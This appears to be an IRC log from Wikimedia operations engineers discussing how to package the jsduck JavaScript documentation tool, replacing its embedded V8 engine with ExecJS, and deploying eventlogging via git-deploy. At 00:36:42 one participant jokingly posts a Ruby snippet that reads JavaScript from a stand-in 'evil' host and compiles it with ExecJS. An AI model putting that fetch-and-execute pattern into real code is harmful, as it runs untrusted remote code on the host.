[00:00:02] We dont' want people to have to run it locally, instead we publish it from doc.wikimedia.org [00:00:11] re-built nightly or postmerge. [00:00:15] just like doxygen. [00:00:20] but for the js code base. [00:00:26] Change merged: Asher; [operations/mediawiki-config] (master) - https://gerrit.wikimedia.org/r/54619 [00:00:50] paravoid: any additional comments on https://gerrit.wikimedia.org/r/#/c/54324/ ? [00:01:25] My point is that we need to figure out a way to make it work. I'm not saying it has to be as-is, unacceptable is unacceptable. But we do need to have clear points on what needs to change for it to become acceptable. [00:02:00] To run from shell a few times day. Note that this doesn't run publicly (I mean, it doesn't serve http requests. It's output is static html/css which is then rsynced to doc.wikimedia.org) [00:02:00] remove the dependency of using a javascript interpreter from within ruby [00:02:40] paravoid: jsduck might be able to improve the dependency mess, but I don't think it makes sense for it to not use v8/esprisma. That's the best there is. [00:02:52] It needs to parse the js files in order to extract the documentatino. [00:03:12] What would you replace v8 and/or esprisma with? [00:03:17] ori-l: see my comments ~1h ago [00:04:36] paravoid: er, which? i changed /var/eventlogging -> /srv/eventlogging and parametrized the rsync targets [00:04:46] PROBLEM - Puppet freshness on sq79 is CRITICAL: Puppet has not run in the last 10 hours [00:04:52] 01:03 < paravoid> ori-l: so, we can't have puppet run code from gerrit as root [00:04:56] 01:04 < paravoid> puppet pulling from git is so and so, running setup.py is just not acceptable from a security PoV [00:06:39] then Ryan mentioned something about git-deploy [00:06:43] see above :) [00:06:47] PROBLEM - Puppet freshness on colby is CRITICAL: Puppet has not run in the last 10 hours [00:06:47] RECOVERY - MySQL Slave Delay on db71 is OK: OK replication delay 0 seconds [00:07:06] I just mentioned that if you wanted to add another repo, I'd help add it [00:07:34] add it to what? what is using it currently? and how would deployment look? [00:08:01] !log asher synchronized wmf-config/db-pmtpa.php 'returning servers' [00:08:20] Logged the message, Master [00:08:21] we could also do deb but I'm guessing this would be too slow/impractical [00:08:49] yes [00:10:39] Krinkle: don't use ruby in the first place? :) [00:10:46] RECOVERY - MySQL Slave Delay on db69 is OK: OK replication delay 12 seconds [00:10:47] sorry, I don't have good answers for you [00:11:12] paravoid: I didn't write the software, and unless you're volunteering for a port, it's unlikely to change. [00:11:17] I'm not [00:11:21] :-/ [00:11:31] j/k [00:11:39] New patchset: Dzahn; "turn planet into a puppet module" [operations/puppet] (production) - https://gerrit.wikimedia.org/r/54493 [00:11:54] but yeah, it's annoying when you've been using great software and find out it's a reversed pyramid ending in a big shit hole. [00:11:55] paravoid: this is a little crazy. jsduck is not krinkle's hobby-horse; it's what we're using for javascript documentation. [00:12:36] i'm not saying that this is grounds for pushing it through as-is, but " don't use ruby in the first place? :)" is a little dismissive [00:12:39] paravoid: So, just to understand, what's the problem with therubyracer? [00:12:46] I said I don't have good answers :) [00:13:14] I know embedding an big upstream sounds wrong (as it'd be installed multiple times potentially in different parts of the filesystem), but what is the problem in practice? [00:13:27] it's not just that [00:13:33] it's non-trivial to package [00:13:34] I tried. [00:13:48] given that we don't fully control the environment and even if we'd fork it, it's non-trivial to refactor such a construction [00:13:57] paravoid: Hm.. How so? [00:14:03] What do you use to package btw? [00:14:09] gem2deb [00:14:14] I assume you did do git submodule update --init, first, right ? [00:14:25] I'm not fetching from git [00:14:45] it also embeds scons mind you [00:14:50] a python-based build system [00:14:57] What are you runnin gem2deb on for jsduck/therubyracer? [00:15:03] ? [00:15:07] gem2deb jsduck [00:15:08] if not a git checkout [00:15:18] gem2deb runs gem fetch [00:15:23] paravoid: yes, but that doesn't include dependencies, right ? [00:15:27] no [00:15:42] Ryan_Lane: can I pm re: git-deploy? [00:15:42] I see, so then you run it for therubyracer [00:15:46] yes [00:15:47] try it [00:16:18] it needs jeweler btw [00:16:21] so gem2deb that too [00:16:33] then libv8's source [00:16:37] and work around scons [00:17:12] * Krinkle likes npm / node_modules system [00:17:14] that "just" works. [00:17:22] jeweler is also full of require 'rubygems' [00:17:25] and is uniformed / standardised. [00:17:35] gem is also uniformed/standardized [00:17:39] ori-l: pms are evil [00:17:42] doesn't mean that gems aren't crap [00:17:48] let's discuss in-channel [00:17:49] not all of them [00:17:57] Ryan_Lane: ok, I just thought it would be disruptive to have two concurrent discussions; no other reason. [00:18:11] it's a public channel, we're used to it ;) [00:18:30] ori-l: you're just deploying code, right? no binaries? [00:18:30] paravoid: well, apparently it isn't as easy as just "gem install --install-dir ~/gem_install --bindir ~/bin" [00:18:48] paravoid: Or is it? If that includes everything in the local gem_install directory, wouldn't that do it? [00:18:56] Ryan_Lane: executable scripts but no binaries [00:19:01] tar that directory and take it? [00:19:04] that should be fine [00:19:14] ewwwww [00:19:26] ori-l: does it need to restart any services after deployment? [00:19:38] Krinkle: so what's the plan? [00:19:59] paravoid: I don't know, I'm not experienced in this area. [00:20:04] how would jenkins bep protected from running untrusted/unverified javascipt code? [00:20:16] Ryan_Lane: yes and no. services would need to be restarted, but this requires some advanced notification, so i'd rather make that manual [00:20:31] paravoid: First of all, it runs on merge, not on test. So the code is reviewed, passes unit tests and is merged. [00:20:31] ori-l: well, it's possible to do it automatically [00:20:45] ori-l: what systems would this be deployed to? [00:20:53] paravoid: secondly, afaik the only code executed in v8 is esprisma, not the mediawiki js code [00:21:05] esprisma reads the js files as strings and parses them into a tree, it doesn't execute it. [00:21:13] Ryan_Lane: just vanadium [00:21:32] so wait [00:21:41] It's not as bad as you might think. [00:21:42] this wants to use a javascript program [00:21:48] (esprima) [00:22:02] so they way they do it is by embedding a javascript interpreter inside ruby? [00:22:14] am I the only one that thinks this is completely crazy? [00:22:33] !log adding dns entries for labstore systems in eqiad [00:22:47] Logged the message, Master [00:23:04] The way I'd do it is shell out to node / esprisma and read the JSON response from stdout and work with that. That'd be somewhat saner than trying to do it inside ruby [00:23:06] paravoid: it'd be like generating dynamic content within tags in html! [00:23:08] But I didn't write it. [00:23:37] paravoid: but point is, it is a very ugly detail, but is it a blocking problem? [00:23:40] ori-l: I'd say it'd be more like bash embedding perl, python & ruby to be able to run perl/python/ruby scripts [00:23:46] paravoid: btw, what issues do you get when you try to package it? [00:24:18] I'm sorry, I just think it's crazy [00:24:26] and I don't want to see that in production [00:24:27] even if it built [00:24:35] Yes, we all do. But let's at least try to work towards a solution. [00:24:36] Ryan_Lane: ok, automated is fine. I just want to establish some kind of baseline [00:24:46] ori-l: ok [00:24:50] it's not required [00:24:52] just available [00:24:57] paravoid: see what precisely in production? [00:25:10] paravoid: v8 itself? [00:25:22] Ryan_Lane: then let's leave it manual. [00:25:24] otherwise you're going to need a root to restart, and if it restarts with deployed code that isn't the same as what's installed, you're just waiting for things to break weirdly [00:25:37] Krinkle: patch lib/jsduck/esprima.rb to shell out to a javascript interpreter [00:25:49] Krinkle: and do that conditionally if the v8 gem isn't found [00:26:11] Ryan_Lane: i have sudo on vanadium, so that's tenable [00:26:17] * Ryan_Lane nods [00:26:17] ok [00:26:26] the v8 stuff is three lines of code from what I can see [00:26:26] paravoid: .. which is when therubyracer is not installed, correct? [00:26:39] I guess [00:26:44] git-deploy only deploys code underneath /srv/deployment/, btw [00:26:47] the first line says 'require "v8"' [00:26:53] ori-l: will that be a problem? [00:26:57] it won't install to random spots [00:27:03] so it's probably inconsistently named [00:27:11] Ryan_Lane: that's totally fine [00:27:13] this is done for sanity reasons [00:27:14] ok [00:27:24] right, require 'v8' is for therubyracer [00:27:29] that's what its docs suggest too [00:27:31] so yes [00:27:37] ori-l: want to do this now? [00:27:49] Ryan_Lane: i would looooooove to :) [00:27:59] is your configuration in the same repo? [00:28:04] or do you need two different repos? [00:28:16] config will go in puppet [00:28:18] ok [00:28:22] that makes things easier [00:28:22] paravoid: ack-ing confirms v8 is indeed only used in that one file [00:28:31] and that file is trivial [00:28:37] json = @v8.eval("JSON.stringify(esprima.parse(js, {comment: true, range: true, raw: true}))") [00:28:39] ori-l: does the config change very infrequently? [00:28:40] that's basically it [00:28:44] return Util::Json.parse(json, :max_nesting => false) [00:29:00] so just have this shell out to node or whatever [00:29:22] Ryan_Lane: yeah; it saw a lot of changes until it settled about a month ago and hasn't changed since. i don't expect it to need to change. [00:29:33] often, that is. [00:29:37] ok. we may eventually want to move that to the deployment system [00:29:42] but for now let's ignore it [00:29:58] New patchset: Pyoungmeister; "WIP: first bit of stuff for taming the mysql module and making the SANITARIUM" [operations/puppet] (production) - https://gerrit.wikimedia.org/r/53907 [00:30:03] sure [00:30:06] PROBLEM - Varnish traffic logger on cp1028 is CRITICAL: PROCS CRITICAL: 2 processes with command name varnishncsa [00:30:11] paravoid: yeah. Basically exec(node esprisma/esprisma.js) write contents of string js to stdin. [00:30:13] and read stdout. [00:30:23] ori-l: everything I'm about to do is going to be in puppet [00:30:47] Ryan_Lane: does it make sense to update this https://gerrit.wikimedia.org/r/#/c/54324/ ? [00:31:10] to add what? [00:31:12] Krinkle: node or spidermonkey [00:31:17] paravoid: right [00:31:20] Krinkle: I think execjs abstracts all that [00:31:29] might be too complicated for your case though [00:31:36] and I'd have to try building that too anyway :) [00:31:40] oh, to remove setup.py? [00:31:41] yes [00:31:55] should the initial git::clone still be there? [00:31:59] no [00:32:02] paravoid: Perhaps, you'd like to file an issue against jsduck to suggest this? I can do it, but I feel I'm not sure my words will have as much value since I'm not sure how to make sure there is no answer like "just install therubyracer" [00:32:13] this will init a repo as well [00:32:23] Ryan_Lane: ok, i'll update the patch, sec [00:32:31] I'm going to add the changes to manifests/role/deployment.pp [00:32:33] e.g. explain that it is horrible to package and using evil embedding of all of v8 [00:32:36] then run puppet on sockpuppet [00:32:48] then run a state on varnadium [00:33:10] there's some annoying bootstrapping for new repos [00:33:10] paravoid: ah, ExecJS is a ruby lib [00:33:14] I'll walk you through it [00:33:25] and I'll fix it when I start working on the deployment system again :) [00:33:45] Ryan_Lane: sure; I'm up on 6th. would it help to come down and coordinate in person? [00:33:46] PROBLEM - MySQL Replication Heartbeat on db32 is CRITICAL: CRIT replication delay 187 seconds [00:33:53] ori-l: oh. yes [00:33:57] that'll make things easier [00:34:02] ok, i'll be right there [00:34:06] it would be good if we kept notes [00:34:10] so that we can document this [00:34:11] paravoid: looks like ruby–execjs only depends on ruby-multi_json which has no further dependencies. [00:34:16] PROBLEM - MySQL Slave Delay on db32 is CRITICAL: CRIT replication delay 189 seconds [00:35:02] irb(main):005:0> require 'execjs' [00:35:02] => true [00:35:05] I packaged execjs [00:35:18] I'd say provide them a patch to use execjs instead of therubyracer [00:35:19] nice [00:35:27] that would make it more portable [00:35:27] to e.g. jruby [00:35:29] or windows [00:35:47] paravoid: this is why everyone pings you on debian packages. because you're awesome at this :) [00:36:07] irb(main):005:0> require 'execjs' [00:36:08] => true [00:36:08] irb(main):006:0> ExecJS.eval "'red yellow blue'.split(' ')" [00:36:08] => ["red", "yellow", "blue"] [00:36:42] source = open("https://evil.github.com/random.js").read [00:36:42] context = ExecJS.compile(source) [00:36:42] :D [00:36:48] nothing is perfect [00:37:04] people will always do stupid things [00:47:24] paravoid: Interesting, I see you've got @debian.org (via GitHub profile). That explains a few things. [00:47:33] haha [00:47:36] Awesome [00:50:14] https://github.com/senchalabs/jsduck/issues/166 [00:50:15] hahaha [00:50:21] it looks I wasn't the first to ask for that [00:50:27] I love the reply [00:52:05] RECOVERY - Varnish traffic logger on cp1028 is OK: PROCS OK: 3 processes with command name varnishncsa [00:52:25] paravoid: "done" [00:52:26] wtf [00:52:36] I told you upstream is crap [00:52:37] you didn't believe me [00:52:59] Oh, I know, got enough bad experiences with upstream. [00:53:19] I'm not surprised if a pull request or issue report is unanswered for several months [00:53:26] certain projects are just abandonded [00:53:29] not this one though [00:54:18] paravoid: So ahm, you're fairly certain that this will be harmless? https://github.com/Krinkle/jsduck/compare/require-rubygems [00:55:02] New patchset: Dzahn; "doc.mediawiki.org: Redirect to canonical wikimedia.org and fix invalid SSL" [operations/puppet] (production) - https://gerrit.wikimedia.org/r/54614 [00:56:06] paravoid: actually [00:56:07] paravoid: https://github.com/senchalabs/jsduck/commit/b49e003be90e986cb1cf91c671ffcb617f22a4b2 [00:56:11] "Switch back from using ExecJS to using v8 directly." [00:56:14] He did do it [00:56:18] hahahaha [00:56:27] awesome [00:56:31] As we no more support JRuby, we can require therubyracer as a dependency. [00:56:41] so you seriously want us to use this crappy piece of software? [00:56:55] well, jsduck itself is pretty awesome actually [00:57:16] http://integration.wmflabs.org/mw/extensions/VisualEditor/docs/ [00:57:58] http://integration.wmflabs.org/mw/extensions/VisualEditor/docs/#!/api/ve.init.mw.Platform-method-addMessages [00:57:59] etc. [00:58:46] PROBLEM - Puppet freshness on europium is CRITICAL: Puppet has not run in the last 10 hours [00:59:42] New patchset: Ryan Lane; "Add eventlogging repo" [operations/puppet] (production) - https://gerrit.wikimedia.org/r/54622 [01:00:07] \o/ [01:01:13] paravoid: At least it should be fairly simple now to patch locally [01:01:14] https://github.com/senchalabs/jsduck/commit/b49e003be90e986cb1cf91c671ffcb617f22a4b2 [01:01:20] I'm doing it now. [01:01:35] Thanks! [01:03:17] is jenkins not working for the puppet repo right now? [01:05:14] Ryan_Lane: Looks like it's running https://integration.wikimedia.org/zuul/status [01:05:40] but it's not reporting to gerrit yet, it's still in zuul's buffer [01:05:46] weird [01:06:04] I blame jsduck [01:06:04] quite a large buffer, more than it should be [01:06:15] ;) [01:06:15] quack? It's not even in production [01:06:46] Krinkle: I'm just kidding with you [01:07:14] I've scheduled a graceful reload of zuul in case it has a problem [01:07:55] nothing unusual in the log [01:07:59] it's working but not reporting [01:08:03] I blame gerrit :P [01:10:09] ori-l: how do you figure gerrit compromise == puppet private compromise? [01:11:12] !@!$@^%!$@$ ruby hell [01:12:08] Krinkle: btw, if making packages is my team's job, then patching jsduck to use execjs is your team's :) [01:12:12] I'm done now [01:12:21] but just saying, don't expect many ops people to go as far as I did :) [01:12:24] New patchset: Reedy; "(bug 39225) Configure $wgBabelCategoryNames and $wgBabelMainCategory for pl.wikisource" [operations/mediawiki-config] (master) - https://gerrit.wikimedia.org/r/54144 [01:12:30] Change merged: Reedy; [operations/mediawiki-config] (master) - https://gerrit.wikimedia.org/r/54144 [01:13:04] paravoid: Sure, I was prepared to take part of tomorrow to patch jsduck to not have rubygem require and use execjs. That I'm prepared to do I think. [01:13:32] paravoid: Thanks a lot and I owe you one :) [01:13:54] (64sid)gearloose:~/wikimedia/gems# jsduck [01:13:55] Error: You should specify some input files, otherwise there's nothing I can do :( [01:14:00] any files to test? [01:14:46] That output looks familiar [01:14:49] yes, coming up [01:15:31] New patchset: Reedy; "Set babel main category for minwiki" [operations/mediawiki-config] (master) - https://gerrit.wikimedia.org/r/54623 [01:15:32] paravoid: Got mediawiki core available? jsduck --config=mediawiki/core/maintenance/jsduck/config.json [01:15:38] I don't, not on that box [01:15:56] Change merged: Reedy; [operations/mediawiki-config] (master) - https://gerrit.wikimedia.org/r/54623 [01:16:29] paravoid: Just create a file in your favourite editor and paste https://raw.github.com/wikimedia/mediawiki-extensions-VisualEditor/master/.docs/external.js into it [01:16:30] (64sid)gearloose:~/wikimedia/gems# ls *deb [01:16:30] ruby-dimensions_1.2.0-1_all.deb ruby-execjs_1.4.0-1_all.deb ruby-jsduck_4.6.2-1_all.deb ruby-parallel_0.6.2-1_all.deb [01:16:34] fwiw [01:16:35] (contents of that url rather) [01:16:37] New patchset: Reedy; "(bug 45911) Set $wgCategoryCollation to 'uca-pt' for the Portuguese Wikipedia and Wikibooks" [operations/mediawiki-config] (master) - https://gerrit.wikimedia.org/r/52903 [01:16:40] that'll produce some sample lines [01:16:59] Change merged: Reedy; [operations/mediawiki-config] (master) - https://gerrit.wikimedia.org/r/52903 [01:17:23] Error: Oh noes! The template directory does not contain extjs/ directory :( [01:17:26] Error: Please copy ExtJS over to template/extjs or create symlink. [01:17:30] damn [01:18:28] !log reedy synchronized wmf-config/InitialiseSettings.php [01:18:41] Logged the message, Master [01:19:02] paravoid: you shouldn't need extjs afaik [01:19:45] [pid 21035] stat("/usr/lib/ruby/template-min/extjs", 0x7fffb1617690) = -1 ENOENT (No such file or directory) [01:19:46] Oh, I see. Yes, the generated html pages use extjs. [01:19:48] !@%!#%@! [01:19:49] seriously? [01:19:53] It's provided though, right? [01:19:56] /usr/lib/ruby/template-min? [01:20:08] Omg, that's horrible. [01:20:25] so there's a basic template I see [01:21:06] @root_dir = File.dirname(File.dirname(File.dirname(__FILE__))) [01:21:09] @template_dir = @root_dir + "/template-min" [01:21:22] view-source:http://integration.wmflabs.org/mw/extensions/VisualEditor/docs/ it references ext-all.js there [01:21:25] I wonder where it got it from [01:21:47] PROBLEM - Varnish traffic logger on cp1021 is CRITICAL: PROCS CRITICAL: 2 processes with command name varnishncsa [01:22:44] Warning: /root/wikimedia/gems/external.js:1: Unsupported tag: @source [01:22:47] Warning: /root/wikimedia/gems/external.js:6: Unsupported tag: @source [01:22:50] Warning: /root/wikimedia/gems/external.js:11: Unsupported tag: @source [01:22:55] paravoid: That's okay, I was counting on that [01:23:05] okay, now I have to fix the template_dir mess [01:23:09] I gave you a file that doesn't work by default, so I know it parses it properly and triggers warnings for those unknown tags. [01:24:14] paravoid: Ah, found it. Its in the Rakefile [01:24:24] A one-time fetch of a stable version of extjs [01:24:33] I don't need that [01:24:35] it's packaged [01:24:45] PROBLEM - Puppet freshness on lvs1004 is CRITICAL: Puppet has not run in the last 10 hours [01:24:46] PROBLEM - Puppet freshness on lvs1005 is CRITICAL: Puppet has not run in the last 10 hours [01:24:46] PROBLEM - Puppet freshness on lvs1006 is CRITICAL: Puppet has not run in the last 10 hours [01:24:46] PROBLEM - Puppet freshness on msfe1002 is CRITICAL: Puppet has not run in the last 10 hours [01:24:46] Right, I figured you ran rake. [01:24:52] I didn't :) [01:25:00] but it's packaged. [01:25:11] extjs is packaged [01:25:16] libjs-extjs [01:25:20] Or you mean, ti'll do it when Debian is installed it'll run this? [01:25:22] Ah, right. [01:25:26] even better. [01:28:38] paravoid: btw, when this package is done.I'll take it apart is a learning course. Probably won't ask any questions, but it'll be very fruitful. despite the horrors we encountered, its a case that seems to have hit pretty much every bump one can reasonably and unreasonably expect in the wild. [01:28:52] s/is a learning curve/as a learning curve [01:28:57] PROBLEM - Varnish traffic logger on cp1034 is CRITICAL: PROCS CRITICAL: 2 processes with command name varnishncsa [01:30:46] RECOVERY - Varnish traffic logger on cp1021 is OK: PROCS OK: 3 processes with command name varnishncsa [01:32:49] done [01:33:07] fixed js-classes too while I was there [01:33:29] paravoid: This may be a better example: https://raw.github.com/Krinkle/jquery-visibleText/master/jquery.visibleText.js [01:33:43] When ran like `jsduck --output='docs/' --external='jQuery' -- jquery.visibleText.js` it should produce something like http://cl.ly/image/3b0h2m1r1D0U [01:34:25] PROBLEM - MySQL Replication Heartbeat on db53 is CRITICAL: CRIT replication delay 184 seconds [01:35:18] New patchset: Reedy; "(bug 45968) Set $wgCategoryCollation to 'uca-pl' on Polish Wikivoyage" [operations/mediawiki-config] (master) - https://gerrit.wikimedia.org/r/54352 [01:35:26] now to push all those to git... [01:35:37] meh, tomorrow [01:35:44] it's getting close to 4am, so... [01:36:03] paravoid: Where are you located? [01:36:06] athens [01:36:06] PROBLEM - MySQL Slave Delay on db53 is CRITICAL: CRIT replication delay 207 seconds [01:36:11] Ah [01:36:12] (greece, not georgia) [01:36:34] Enschede, Netherlands [01:37:11] late for you too then [01:37:59] true, though not for my body, only for my clock. [01:38:07] I pretty much always work the night shift. [01:38:24] start and get up late too. [01:38:56] Ryan_Lane: I wonder what you'd do :) [01:39:04] I think you would have puked on your keyboard a dozen times by now [01:39:11] hahahaha [01:39:12] yes [01:39:13] I would have [01:39:24] eventlogging is now deployed via git-deploy [01:39:38] the server piece on vanadium, that is [01:39:38] cool [01:39:42] I brought you a new client :) [01:39:46] heh [01:41:22] I need to put some work into the puppet side of this. a lot of unnecessary configuration [01:41:25] Ryan_Lane: Could you create an empty repo operations/debs/jsduck as placeholder for now? [01:41:39] (assuming that's where it'll go, right paravoid?) [01:41:41] no [01:41:51] ow.. [01:41:54] ruby-jsduck [01:42:03] and ruby-execjs, ruby-parallel, ruby-dimensions [01:42:21] Ah, I see. You're separating them at the package level. that makes sense [01:42:22] I'm trying to debug why it doesn't work with spidermonkey now [01:42:26] it worked with node [01:43:34] paravoid: are you adding a dependency on either on the debian package for jsduck or execjs, or will it remain "detecting" all the way, meaning we need to ensure nodejs on the same servers. [01:43:47] a dependency for nodejs that is [01:43:57] I'll add a recommends: nodejs [01:44:07] I'd like to make that nodejs | spidermonkey-bin though [01:44:20] Cool, debian has recommended dependencies. That's nice. [01:44:38] ah, it's deprecated [01:44:39] paravoid: is there no generic name for that? [01:44:43] for what? [01:44:56] javascript runtime [01:44:59] like java has [01:45:23] there's no generic javascript runtime because there's not a compatible interface in all [01:45:31] ah. right. [01:45:50] execjs tries "nodejs", "node", "js", etc. [01:45:53] /System/Library/Frameworks/JavaScriptCore.framework/Versions/A/Resources/jsc too :) [01:46:01] and "cscript //E:jscript //Nologo //U", [01:46:03] ok. heading home [01:46:05] * Ryan_Lane waves [01:46:21] yeah, the user simply has to make sure he has at least one of them installed [01:46:28] a case of RTFM :) [01:46:43] it also supports therubyracer, therubyrhino, mustang, johnson [01:46:45] beyond apt-get install [01:46:53] mustang even? [01:46:55] so I think it's very stupid for upstream to just revert to v8 [01:47:19] yep [01:47:22] it's also much cleaner for us with node :) [01:49:23] indeed [01:49:29] actually, nodejs is already ensured on gallium [01:49:35]